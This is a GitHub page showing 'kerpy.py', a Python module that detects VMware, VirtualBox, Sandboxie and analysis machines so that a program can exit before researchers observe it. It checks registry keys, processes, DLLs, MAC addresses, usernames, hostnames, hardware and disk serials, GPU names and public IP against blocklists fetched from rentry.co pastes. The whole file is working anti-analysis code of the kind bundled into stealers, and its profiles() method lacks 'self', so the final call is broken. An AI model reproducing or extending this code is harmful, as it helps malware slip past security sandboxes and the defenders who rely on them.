-
Notifications
You must be signed in to change notification settings - Fork 9
/
kerpy.py
123 lines (111 loc) · 4.4 KB
/
kerpy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import re
import uuid
import wmi
import requests
import os
import ctypes
import sys
import subprocess
import socket
def get_base_prefix_compat():
return getattr(sys, "base_prefix", None) or getattr(sys, "real_prefix", None) or sys.prefix
def in_virtualenv():
return get_base_prefix_compat() != sys.prefix
class Kerpy:
def registry_check(self):
cmd = "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\"
reg1 = subprocess.run(cmd + "DriverDesc", shell=True, stderr=subprocess.DEVNULL)
reg2 = subprocess.run(cmd + "ProviderName", shell=True, stderr=subprocess.DEVNULL)
if reg1.returncode == 0 and reg2.returncode == 0:
print("VMware Registry Detected")
sys.exit()
def processes_and_files_check(self):
vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll")
virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll")
process = os.popen('TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="').read()
processList = []
for processNames in process.split(" "):
if ".exe" in processNames:
processList.append(processNames.replace("K\n", "").replace("\n", ""))
if "VMwareService.exe" in processList or "VMwareTray.exe" in processList:
print("VMwareService.exe & VMwareTray.exe process are running")
sys.exit()
if os.path.exists(vmware_dll):
print("Vmware DLL Detected")
sys.exit()
if os.path.exists(virtualbox_dll):
print("VirtualBox DLL Detected")
sys.exit()
try:
sandboxie = ctypes.cdll.LoadLibrary("SbieDll.dll")
print("Sandboxie DLL Detected")
sys.exit()
except:
pass
processl = requests.get("https://rentry.co/x6g3is75/raw").text
if processl in processList:
sys.exit()
def mac_check(self):
mac_address = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
mac_list = requests.get("https://rentry.co/ty8exwnb/raw").text
if mac_address[:8] in mac_list:
print("VMware MAC Address Detected")
sys.exit()
def check_pc(self):
vmname = os.getlogin()
vm_name = requests.get("https://rentry.co/3wr3rpme/raw").text
if vmname in vm_name:
sys.exit()
vmusername = requests.get("https://rentry.co/bnbaac2d/raw").text
host_name = socket.gethostname()
if host_name in vmusername:
sys.exit()
def hwid_vm(self):
current_machine_id = str(subprocess.check_output('wmic csproduct get uuid'), 'utf-8').split('\n')[1].strip()
hwid_vm = requests.get("https://rentry.co/fnimmyya/raw").text
if current_machine_id in hwid_vm:
sys.exit()
def checkgpu(self):
c = wmi.WMI()
for gpu in c.Win32_DisplayConfiguration():
GPUm = gpu.Description.strip()
gpulist = requests.get("https://rentry.co/povewdm6/raw").text
if GPUm in gpulist:
sys.exit()
def check_ip(self):
ip_list = requests.get("https://rentry.co/hikbicky/raw").text
reqip = requests.get("https://api.ipify.org/?format=json").json()
ip = reqip["ip"]
if ip in ip_list:
sys.exit()
def profiles():
machine_guid = uuid.getnode()
guid_pc = requests.get("https://rentry.co/882rg6dc/raw").text
bios_guid = requests.get("https://rentry.co/hxtfvkvq/raw").text
baseboard_guid = requests.get("https://rentry.co/rkf2g4oo/raw").text
serial_disk = requests.get("https://rentry.co/rct2f8fc/raw").text
if machine_guid in guid_pc:
sys.exit()
w = wmi.WMI()
for bios in w.Win32_BIOS():
bios_check = bios.SerialNumber
if bios_check in bios_guid:
sys.exit()
for baseboard in w.Win32_BaseBoard():
base_check = baseboard.SerialNumber
if base_check in baseboard_guid:
sys.exit()
for disk in w.Win32_DiskDrive():
disk_serial = disk.SerialNumber
if disk_serial in serial_disk:
sys.exit()
if __name__ == "__main__":
kerpy = Kerpy()
kerpy.registry_check()
kerpy.processes_and_files_check()
kerpy.mac_check()
kerpy.check_pc()
kerpy.hwid_vm()
kerpy.checkgpu()
kerpy.check_ip()
kerpy.profiles()